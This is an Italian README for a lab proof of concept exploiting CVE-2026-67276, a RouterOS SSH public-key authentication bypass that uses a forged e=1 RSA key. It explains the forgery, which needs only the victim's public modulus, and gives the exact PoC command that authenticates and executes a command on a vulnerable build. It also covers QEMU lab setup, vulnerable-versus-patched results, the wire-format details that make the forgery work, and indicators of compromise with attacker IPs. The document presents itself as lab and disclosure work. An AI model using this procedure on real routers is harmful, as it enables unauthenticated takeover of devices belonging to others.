
CVE-2026-67276 PoC di laboratorio per il bypass dell'autenticazione a chiave pubblica SSH di RouterOS
Solo per uso in laboratorio. Eseguire esclusivamente contro istanze RouterOS di tua proprietà. Attaccare dispositivi che non possiedi è un reato (CFAA, art. 267 polacco, equivalenti).
CERT PL (2026-09-05) ha divulgato sei vulnerabilità RouterOS, attivamente sfruttate in natura come catena "MikroTrick" (compromissione totale del dispositivo non autenticata quando SSH è raggiungibile da Internet). Corrette da MikroTik il 2026-09-03 in 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Tipo | Difetto principale |
|---|
| 2026-67276 | CWE-347 (questo PoC) | Il match della chiave userauth SSH controlla (tipo chiave, modulo) ma omette l'esponente; la verifica della firma usa la chiave fornita dal client ⇒ falsificazione e=1 |
| 2026-86060 | CWE-88 | Iniezione di argomenti tramite username che inizia con un carattere proibito (-2 osservato nei log degli attacchi) ⇒ modifica policy-mask ⇒ escalation privilegi |
| 2026-67279 | CWE-841 | SSH entra nel protocollo di connessione dopo rekey richiesto dal client senza userauth completato ⇒ exec non autenticato nel namespace file |
| 2026-67277 | CWE-306 | Stato pre-auth bandwidth-test + divulgazione buffer non inizializzato + underflow dimensione ⇒ leak memoria kernel / riavvio |
| 2026-67278 | CWE-347 | X.509 accetta firme RSA/PKCS#1v1.5 malformate; trust anchor e=3 ⇒ falsificazione intermediario fidato |
| 2026-67281 | CWE-824 | Puntatore principal non inizializzato obsoleto WebFig /jsproxy + path escape ⇒ lettura file root |
Intervalli vulnerabili (tutti e sei): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=vittima} rende sig^1 mod n == sig, quindi la
"firma" valida è semplicemente EMSA-PKCS1-v1_5(hash, authdata) — calcolabile
da chiunque conosca il modulo pubblico della vittima. Nessuna chiave privata necessaria.Precondizioni (il minimo indicato dalla divulgazione stessa): username target + modulo RSA pubblico autorizzato di quell'utente.
n di quella chiave autorizzata (da un .pub trapelato/catturato,
registri di provisioning, o --modulus-hex). Questo è l'unico input
simile a un segreto; la chiave privata non è mai necessaria.ForgeKey — OpenSSH standard non può).ssh-rsa su 6.x, rsa-sha2-256
anche su 7.x).forge_67276.py — primitiva: parsing chiave pubblica OpenSSH, encoder EMSA RFC 8017,
costruttori blob/firma falsificati, verificatore di riferimento RFC 8017.selftest.py — prova locale, senza router: encoder byte-identico a OpenSSL
(tramite inversione firma reale), firma falsificata verifica a e=1 e NON a 65537,
simulazione completa wire-shape RFC 4252 §7. Tutti i 15 controlli PASS.poc_67276.py — client paramiko che esegue il bypass (pinning algoritmo
per-connessione; --lab-i-own-this-target richiesto).console_setup.py — preparazione CHR una tantum su serial telnet qemu
(recupera chiave vittima via 10.0.2.2, importa per admin, abilita ssh).sanity_real_key.py — controllo: l'auth con chiave pubblica normale deve riuscire prima.victim_rsa / victim.pub — coppia di chiavi "vittima" 2048-bit usa-e-getta generata;
deliberatamente esclusa da Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, bridge host br0
(192.168.100.1/24) con tap tap0-tap3; dnsmasq su br0 con lease per-MAC.| VM | Immagine | IP guest | MAC | Tunnel lato Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x vulnerabile | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x patchato | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x vulnerabile | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x patchato | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, e chiave vittima importata per admin. I cambi password forzati al
primo login sono stati gestiti via SSH (bootstrap_password.py legge il dialogo) o
monitor QEMU sendkey (mon_type.py) — la console seriale CHR è morta di
default; la console VGA è leggibile solo tramite monitor screendump.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Riesecuzione (esempio, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # baseline
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Target | chiave privata reale (baseline) | chiave falsificata e=1 (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + exec /system resource print — CVE confermata |
| 7.23.4 (patchato) | auth OK | rifiutata |
| 6.49.20 | auth OK | rifiutata (vedi sfumatura) |
| 6.49.21 (patchato) | baseline non valida | non interpretabile; guest ha accettato auth SSH none |
Per la coppia 7.x, la baseline con chiave reale riesce su entrambe le build, l'autenticazione
SSH none è rifiutata, una falsificazione con modulo errato è rifiutata da 7.23.3,
e la falsificazione con modulo corretto riesce solo su 7.23.3. Questo è un confronto
valido vulnerabile-versus-patchato.
Il guest 6.49.21 non è stato provisionato come documentato durante la rivalidazione
indipendente: admin è rimasto scaduto, /user ssh-keys print detail era
vuoto, e una richiesta SSH none senza credenziali ha eseguito comandi. Chiavi
RSA reali non correlate e chiavi e=1 con modulo errato sono quindi anch'esse apparse
riuscite. Riprovisionare questo guest e verificare che none e una chiave non correlata
siano rifiutati prima di usarlo come controllo patchato.
Sfumatura di versione: su 6.49.20 il match lato server rifiuta il blob e=1
(/log ssh,debug: can't find matching key for user: admin) — l'omissione
dell'esponente divulgata non era osservabile nel matcher 6.x sebbene l'intervallo
generico di CERT elenchi [6.0.0, 6.49.21). Confermato vulnerabile: 7.23.3. Confermato
patchato: 7.23.4. Lo stato attuale del laboratorio 6.49.21 non prova nessuno dei due
risultati. L'attività MikroTrick in natura ha preso di mira anche dispositivi 7.x.
Risultato sul wire-format (RFC 8332): la stringa di tipo interna del blob resta
ssh-rsa anche per algoritmi di firma rsa-sha2-256/512; l'algoritmo di firma
va solo nel campo algoritmo esterno. Ignorare questo fa disconnettere il server
a metà userauth (errore di parsing blob) — osservato sia su 6.x che su 7.x.
Il ForgeKey del PoC gestisce questo, e --exp-enc aligned|canonical alterna
la larghezza mpint di e=1 (1 vs 3 byte). Su 7.23.3 ENTRAMBE le larghezze autenticano — il
matcher analizza l'esponente e ne ignora davvero il valore. Su 6.49.20 NESSUNA
autentica (can't find matching key) — vedi la sfumatura di versione sopra.
Gli hexdump pacchetti lato server /system logging add topics=ssh,debug + /log print
hanno portato alla luce tutto questo.
Valori SHA-256 dell'archivio immagini sorgente usati da questo laboratorio:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; utente sconosciuto altamente privilegiato ops;
marcatore /system/device-mode/print "Flagged" (indica compromissione, la sua
assenza non prova nulla). IP attaccanti osservati: 82.192.72.4, 103.102.31.18.